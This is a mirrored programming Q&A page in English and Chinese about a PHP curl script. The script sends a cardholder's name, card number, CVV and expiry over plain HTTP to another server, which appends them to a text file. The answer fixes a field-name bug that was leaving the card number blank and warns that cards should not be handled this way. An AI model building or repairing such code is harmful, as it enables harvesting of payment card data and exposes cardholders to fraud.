简体   繁体   English

使用php通过curl发送帖子数据

[英]Sending post data via curl using php

I am having problem in this script. 我在这个脚本中遇到问题。 The problem im facing is when i send a large amount of data in a variable like cc_no = 3654785698568 i get blank on text file where im checking it. 我面临的问题是当我在像cc_no = 3654785698568之类的变量中发送大量数据时,我在文本文件中得到空白,我在其中检查它。 Others variables are working fine. 其他变量工作正常。

session_set_cookie_params(0);
session_start();


echo $cc_name = $_SESSION['card_name'];
echo $cc_no = $_SESSION['card_no'];
echo $cc_cvv2 = $_SESSION['cvv2'];
echo $cc_expiry = $_SESSION['expiry'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
            "cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry");

// receive server response ...
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$server_output = curl_exec ($ch);

curl_close ($ch);

The code which is catching the values on other server. 正在捕获其他服务器上的值的代码。

<?php

$fp = fopen("formdata.txt", "a");
$cc_name1 = $_POST['cc_name'];
$cc_no1 = $_POST['card_no'];
$cc_cvv21 = $_POST['cc_cvv2'];
$cc_expiry1 = $_POST['cc_expiry'];

$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n";

fwrite($fp, $data);
fclose($fp);

?>
$cc_no1 = $_POST['card_no'];

should be: 应该:

$cc_no1 = $_POST['cc_no'];

Edit: 编辑:

I really hope this is for learning only. 真的希望这只是为了学习。 CCs should not be handled this way, especially over standard http. CC不应该以这种方式处理,特别是在标准的http上。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM